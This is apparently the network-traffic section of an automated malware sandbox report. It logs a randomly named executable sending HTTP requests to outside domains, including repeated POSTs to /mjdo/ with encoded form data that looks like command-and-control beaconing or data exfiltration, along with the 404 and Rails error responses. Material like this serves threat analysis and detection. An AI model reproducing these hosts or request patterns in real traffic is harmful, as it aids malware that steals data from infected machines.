                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    36192.168.2.1150010206.238.89.119802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:43.645044088 CET463OUTGET /qn33/?dTb4=99NzBUOu8EtmiwHIhwlVNNWIW2T1UOL90ZejPygVUj3ypAzbuWBUlAjLLmpNciJuv0EF7eUmh88cLf0Gn8IRWZq8N/WnBUbm+FhfiYpUJ/z5KGjHquGg3Rk=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.127358.win
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:24:45.145584106 CET289INHTTP/1.1 404 Not Found
                                                                                    Server: nginx
                                                                                    Date: Thu, 05 Dec 2024 17:24:44 GMT
                                                                                    Content-Type: text/html
                                                                                    Content-Length: 146
                                                                                    Connection: close
                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    37192.168.2.1150011216.40.34.41802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:51.166990042 CET743OUTPOST /mjdo/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.prototype.garden
                                                                                    Origin: http://www.prototype.garden
                                                                                    Referer: http://www.prototype.garden/mjdo/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 33 43 72 69 6b 62 6f 72 67 48 45 79 77 76 49 2b 4a 6b 51 63 30 63 41 55 41 34 4c 33 79 4c 52 73 57 57 31 7a 33 73 69 73 4e 2f 32 6a 48 67 55 55 39 6e 41 6b 6e 35 52 67 41 76 41 74 50 50 48 57 35 69 64 74 53 2f 32 7a 6b 7a 31 6f 6e 54 31 57 65 46 58 35 61 4c 52 76 61 4c 57 32 58 55 47 73 30 76 51 43 36 39 63 46 78 6b 34 47 30 77 65 57 68 41 63 74 5a 7a 74 51 65 45 44 56 58 7a 35 6b 30 4a 41 2b 53 36 4c 4b 66 41 62 36 30 78 7a 57 53 71 72 6d 7a 56 6e 58 6d 74 77 7a 37 42 39 57 74 7a 43 4a 59 6b 79 71 67 49 49 53 68 57 30 58 76 51 34 34 70 33 6a 33 59 48 4e 31 45 75 6b 78 2b 51 3d 3d
                                                                                    Data Ascii: dTb4=3CrikborgHEywvI+JkQc0cAUA4L3yLRsWW1z3sisN/2jHgUU9nAkn5RgAvAtPPHW5idtS/2zkz1onT1WeFX5aLRvaLW2XUGs0vQC69cFxk4G0weWhActZztQeEDVXz5k0JA+S6LKfAb60xzWSqrmzVnXmtwz7B9WtzCJYkyqgIIShW0XvQ44p3j3YHN1Eukx+Q==
                                                                                    Dec 5, 2024 18:24:52.297600985 CET1236INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html; charset=UTF-8
                                                                                    x-request-id: 85763548-a100-476d-9f8c-d79fe6c3acdc
                                                                                    x-runtime: 0.021187
                                                                                    content-length: 17078
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:52.297800064 CET1236INData Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a
                                                                                    Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source { border: 1px
                                                                                    Dec 5, 2024 18:24:52.297812939 CET1236INData Raw: 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 68 65 61 64 20 74 72 2e 62 6f 74 74 6f 6d 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c
                                                                                    Data Ascii: } #route_table thead tr.bottom { border-bottom: none; } #route_table thead tr.bottom th { padding: 10px 0; line-height: 15px; } #route_table thead tr.bottom th input#search { -webkit-appearance: textfield; }
                                                                                    Dec 5, 2024 18:24:52.298579931 CET1236INData Raw: 0a 20 20 20 20 76 61 72 20 74 6f 67 67 6c 65 53 65 73 73 69 6f 6e 44 75 6d 70 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 6f 67 67 6c 65 28 27 73 65 73 73 69 6f 6e 5f 64 75 6d 70 27 29 3b 0a 20 20 20
                                                                                    Data Ascii: var toggleSessionDump = function() { return toggle('session_dump'); } var toggleEnvDump = function() { return toggle('env_dump'); } </script></head><body><header> <h1>Routing Error</h1></header><div id="c
                                                                                    Dec 5, 2024 18:24:52.298603058 CET1236INData Raw: 69 6f 6e 5f 64 69 73 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 73 68 6f 77 5f 65 78 63 65 70 74 69 6f 6e 73 2e 72 62 3a 33 33 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65
                                                                                    Data Ascii: ion_dispatch/middleware/show_exceptions.rb:33:in `call&#39;</a><br><a class="trace-frames" data-frame-id="2" href="#">lograge (0.11.2) lib/lograge/rails_ext/rack/logger.rb:15:in `call_app&#39;</a><br><a class="trace-frames" data-frame-id="3" h
                                                                                    Dec 5, 2024 18:24:52.299382925 CET1236INData Raw: 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 31 22 20 68 72 65 66 3d 22 23 22 3e 61 63 74 69 6f 6e 70 61 63 6b 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 61
                                                                                    Data Ascii: a><br><a class="trace-frames" data-frame-id="11" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/static.rb:127:in `call&#39;</a><br><a class="trace-frames" data-frame-id="12" href="#">rack (2.2.3) lib/rack/sendfile.rb:110:in `call&#
                                                                                    Dec 5, 2024 18:24:52.299396038 CET1236INData Raw: 72 61 6d 65 2d 69 64 3d 22 31 22 20 68 72 65 66 3d 22 23 22 3e 61 63 74 69 6f 6e 70 61 63 6b 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 61 63 74 69 6f 6e 5f 64 69 73 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 73 68 6f 77 5f 65 78 63 65 70 74
                                                                                    Data Ascii: rame-id="1" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/show_exceptions.rb:33:in `call&#39;</a><br><a class="trace-frames" data-frame-id="2" href="#">lograge (0.11.2) lib/lograge/rails_ext/rack/logger.rb:15:in `call_app&#39;</a>
                                                                                    Dec 5, 2024 18:24:52.300275087 CET1236INData Raw: 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 65 78 65 63 75 74 6f 72 2e 72 62 3a 31 34 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d
                                                                                    Data Ascii: patch/middleware/executor.rb:14:in `call&#39;</a><br><a class="trace-frames" data-frame-id="11" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/static.rb:127:in `call&#39;</a><br><a class="trace-frames" data-frame-id="12" href="#">r
                                                                                    Dec 5, 2024 18:24:52.300291061 CET1236INData Raw: 2f 20 41 64 64 20 63 6c 69 63 6b 20 6c 69 73 74 65 6e 65 72 73 20 66 6f 72 20 61 6c 6c 20 73 74 61 63 6b 20 66 72 61 6d 65 73 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 74 72 61 63 65 46 72 61 6d 65 73 2e 6c 65 6e
                                                                                    Data Ascii: / Add click listeners for all stack frames for (var i = 0; i < traceFrames.length; i++) { traceFrames[i].addEventListener('click', function(e) { e.preventDefault(); var target = e.target; var frame_id = target
                                                                                    Dec 5, 2024 18:24:52.301143885 CET1236INData Raw: 22 5f 70 61 74 68 22 20 74 69 74 6c 65 3d 22 52 65 74 75 72 6e 73 20 61 20 72 65 6c 61 74 69 76 65 20 70 61 74 68 20 28 77 69 74 68 6f 75 74 20 74 68 65 20 68 74 74 70 20 6f 72 20 64 6f 6d 61 69 6e 29 22 20 68 72 65 66 3d 22 23 22 3e 50 61 74 68
                                                                                    Data Ascii: "_path" title="Returns a relative path (without the http or domain)" href="#">Path</a> / <a data-route-helper="_url" title="Returns an absolute URL (with the http and domain)" href="#">Url</a> </th> <th> </th> <
                                                                                    Dec 5, 2024 18:24:52.417896032 CET1236INData Raw: 6e 79 20 6d 61 74 63 68 65 64 20 72 65 73 75 6c 74 73 20 69 6e 20 61 20 73 65 63 74 69 6f 6e 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 4e 6f 4d 61 74 63 68 28 73 65 63 74 69 6f 6e 2c 20 6e 6f 4d 61 74 63 68 54 65 78 74 29 20 7b 0a
                                                                                    Data Ascii: ny matched results in a section function checkNoMatch(section, noMatchText) { if (section.children.length <= 1) { section.innerHTML += noMatchText; } } // get JSON from URL and invoke callback with result f


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    38192.168.2.1150012216.40.34.41802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:53.833533049 CET763OUTPOST /mjdo/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.prototype.garden
                                                                                    Origin: http://www.prototype.garden
                                                                                    Referer: http://www.prototype.garden/mjdo/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 33 43 72 69 6b 62 6f 72 67 48 45 79 78 50 59 2b 50 48 34 63 78 38 41 56 4d 59 4c 33 34 72 52 67 57 57 35 7a 33 74 6d 47 4e 4b 47 6a 48 46 51 55 2b 6d 41 6b 67 35 52 67 4b 50 41 30 51 2f 48 4e 35 69 51 61 53 37 32 7a 6b 7a 52 6f 6e 58 78 57 66 79 37 2b 62 62 52 74 45 72 57 30 4b 45 47 73 30 76 51 43 36 39 59 76 78 69 51 47 31 42 4f 57 6a 6c 67 71 48 44 74 54 5a 45 44 56 64 54 35 67 30 4a 42 72 53 2b 53 6c 66 43 54 36 30 77 44 57 4c 66 66 68 35 56 6d 53 69 74 78 6a 71 78 34 67 74 78 32 49 66 55 71 73 6f 4b 45 43 6b 51 35 4e 2f 7a 78 76 71 6b 72 31 4d 68 73 46 4e 66 42 34 6c 65 48 69 4f 67 5a 30 49 72 61 33 37 42 2f 51 49 74 59 2b 63 38 51 3d
                                                                                    Data Ascii: dTb4=3CrikborgHEyxPY+PH4cx8AVMYL34rRgWW5z3tmGNKGjHFQU+mAkg5RgKPA0Q/HN5iQaS72zkzRonXxWfy7+bbRtErW0KEGs0vQC69YvxiQG1BOWjlgqHDtTZEDVdT5g0JBrS+SlfCT60wDWLffh5VmSitxjqx4gtx2IfUqsoKECkQ5N/zxvqkr1MhsFNfB4leHiOgZ0Ira37B/QItY+c8Q=
                                                                                    Dec 5, 2024 18:24:54.972012997 CET1236INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html; charset=UTF-8
                                                                                    x-request-id: 0994128c-7d62-47ec-94a3-9130db6fa5d5
                                                                                    x-runtime: 0.026686
                                                                                    content-length: 17098
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:54.972160101 CET1236INData Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a
                                                                                    Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source { border: 1px
                                                                                    Dec 5, 2024 18:24:54.972184896 CET1236INData Raw: 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 68 65 61 64 20 74 72 2e 62 6f 74 74 6f 6d 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c
                                                                                    Data Ascii: } #route_table thead tr.bottom { border-bottom: none; } #route_table thead tr.bottom th { padding: 10px 0; line-height: 15px; } #route_table thead tr.bottom th input#search { -webkit-appearance: textfield; }
                                                                                    Dec 5, 2024 18:24:54.972999096 CET1236INData Raw: 0a 20 20 20 20 76 61 72 20 74 6f 67 67 6c 65 53 65 73 73 69 6f 6e 44 75 6d 70 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 6f 67 67 6c 65 28 27 73 65 73 73 69 6f 6e 5f 64 75 6d 70 27 29 3b 0a 20 20 20
                                                                                    Data Ascii: var toggleSessionDump = function() { return toggle('session_dump'); } var toggleEnvDump = function() { return toggle('env_dump'); } </script></head><body><header> <h1>Routing Error</h1></header><div id="c
                                                                                    Dec 5, 2024 18:24:54.973015070 CET896INData Raw: 69 6f 6e 5f 64 69 73 70 61 74 63 68 2f 6d 69 64 64 6c 65 77 61 72 65 2f 73 68 6f 77 5f 65 78 63 65 70 74 69 6f 6e 73 2e 72 62 3a 33 33 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65
                                                                                    Data Ascii: ion_dispatch/middleware/show_exceptions.rb:33:in `call&#39;</a><br><a class="trace-frames" data-frame-id="2" href="#">lograge (0.11.2) lib/lograge/rails_ext/rack/logger.rb:15:in `call_app&#39;</a><br><a class="trace-frames" data-frame-id="3" h
                                                                                    Dec 5, 2024 18:24:54.973683119 CET1236INData Raw: 32 2e 32 2e 33 29 20 6c 69 62 2f 72 61 63 6b 2f 72 75 6e 74 69 6d 65 2e 72 62 3a 32 32 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72
                                                                                    Data Ascii: 2.2.3) lib/rack/runtime.rb:22:in `call&#39;</a><br><a class="trace-frames" data-frame-id="9" href="#">activesupport (5.2.6) lib/active_support/cache/strategy/local_cache_middleware.rb:29:in `call&#39;</a><br><a class="trace-frames" data-frame-
                                                                                    Dec 5, 2024 18:24:54.973696947 CET1236INData Raw: 28 34 2e 33 2e 39 29 20 6c 69 62 2f 70 75 6d 61 2f 74 68 72 65 61 64 5f 70 6f 6f 6c 2e 72 62 3a 31 33 34 3a 69 6e 20 60 62 6c 6f 63 6b 20 69 6e 20 73 70 61 77 6e 5f 74 68 72 65 61 64 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 2f 63 6f 64 65 3e 3c
                                                                                    Data Ascii: (4.3.9) lib/puma/thread_pool.rb:134:in `block in spawn_thread&#39;</a><br></code></pre> </div> <div id="Full-Trace" style="display: none;"> <pre><code><a class="trace-frames" data-frame-id="0" href="#">actionpack (5.2.6) lib/acti
                                                                                    Dec 5, 2024 18:24:54.974534035 CET1236INData Raw: 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 38 22 20 68 72 65 66 3d 22 23 22 3e 72 61 63 6b 20 28 32 2e 32 2e 33 29 20 6c 69 62 2f 72 61 63 6b 2f 72 75 6e 74 69 6d 65 2e 72 62 3a 32 32 3a 69 6e 20 60 63
                                                                                    Data Ascii: trace-frames" data-frame-id="8" href="#">rack (2.2.3) lib/rack/runtime.rb:22:in `call&#39;</a><br><a class="trace-frames" data-frame-id="9" href="#">activesupport (5.2.6) lib/active_support/cache/strategy/local_cache_middleware.rb:29:in `call&
                                                                                    Dec 5, 2024 18:24:54.974560022 CET1236INData Raw: 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 38 22 20 68 72 65 66 3d 22 23 22 3e 70 75 6d 61 20 28 34 2e 33 2e 39 29 20 6c 69 62 2f 70 75 6d 61 2f 74 68 72 65 61 64 5f 70 6f 6f 6c 2e 72 62 3a 31 33 34
                                                                                    Data Ascii: trace-frames" data-frame-id="18" href="#">puma (4.3.9) lib/puma/thread_pool.rb:134:in `block in spawn_thread&#39;</a><br></code></pre> </div> <script type="text/javascript"> var traceFrames = document.getElementsByClassName('trace-f
                                                                                    Dec 5, 2024 18:24:54.975256920 CET1236INData Raw: 3c 68 32 3e 0a 20 20 20 20 20 20 52 6f 75 74 65 73 0a 20 20 20 20 3c 2f 68 32 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 52 6f 75 74 65 73 20 6d 61 74 63 68 20 69 6e 20 70 72 69 6f 72 69 74 79 20 66 72 6f 6d 20 74 6f 70 20 74 6f 20 62 6f
                                                                                    Data Ascii: <h2> Routes </h2> <p> Routes match in priority from top to bottom </p> <table id='route_table' class='route_table'> <thead> <tr> <th>Helper</th> <th>HTTP Verb</th> <th>Path</th> <th>
                                                                                    Dec 5, 2024 18:24:55.093477964 CET1236INData Raw: 20 20 20 20 2f 2a 70 61 74 68 28 2e 3a 66 6f 72 6d 61 74 29 0a 20 20 3c 2f 74 64 3e 0a 20 20 3c 74 64 3e 0a 20 20 20 20 3c 70 3e 6d 61 69 6e 23 69 6e 64 65 78 20 7b 3a 70 61 74 68 3d 26 67 74 3b 2f 2e 2a 2f 7d 3c 2f 70 3e 0a 20 20 3c 2f 74 64 3e
                                                                                    Data Ascii: /*path(.:format) </td> <td> <p>main#index {:path=&gt;/.*/}</p> </td></tr> </tbody></table><script type='text/javascript'> // support forEarch iterator on NodeList NodeList.prototype.forEach = Array.prototype.forEach;


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    39192.168.2.1150013216.40.34.41802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:56.509247065 CET1776OUTPOST /mjdo/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.prototype.garden
                                                                                    Origin: http://www.prototype.garden
                                                                                    Referer: http://www.prototype.garden/mjdo/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 33 43 72 69 6b 62 6f 72 67 48 45 79 78 50 59 2b 50 48 34 63 78 38 41 56 4d 59 4c 33 34 72 52 67 57 57 35 7a 33 74 6d 47 4e 4c 53 6a 41 33 59 55 38 46 6f 6b 68 35 52 67 4a 50 41 70 51 2f 47 64 35 69 59 65 53 37 36 4a 6b 78 5a 6f 6f 53 6c 57 59 41 44 2b 55 62 52 74 4d 4c 57 33 58 55 48 6b 30 76 41 4f 36 39 49 76 78 69 51 47 31 43 47 57 6e 77 63 71 46 44 74 51 65 45 44 5a 58 7a 35 49 30 4a 6f 51 53 2b 47 50 66 7a 7a 36 7a 51 54 57 51 4a 7a 68 6a 56 6d 63 73 4e 77 6d 71 77 45 7a 74 78 37 78 66 56 75 47 6f 4a 6b 43 6c 45 38 74 74 6a 38 77 34 6c 43 47 50 42 45 55 4a 2b 4a 6d 72 76 7a 4f 48 54 42 41 53 4f 2b 38 36 6a 79 42 4e 2b 30 37 4b 5a 44 36 70 6f 30 65 36 34 79 30 76 6c 30 67 32 76 4d 41 6a 48 78 63 59 74 52 59 53 41 4d 46 4b 68 36 4b 73 34 74 4e 67 37 38 32 49 39 74 4c 47 77 4b 31 69 39 32 4d 31 33 36 33 69 34 2f 65 61 37 4b 4a 71 34 6c 2b 76 56 49 6b 5a 6b 2b 4c 58 62 55 77 35 70 79 53 68 72 46 5a 6a 51 6c 78 38 46 49 78 68 51 73 33 4f 6c 64 32 33 4a 61 6e 4b 78 43 6b 31 50 30 42 63 [TRUNCATED]
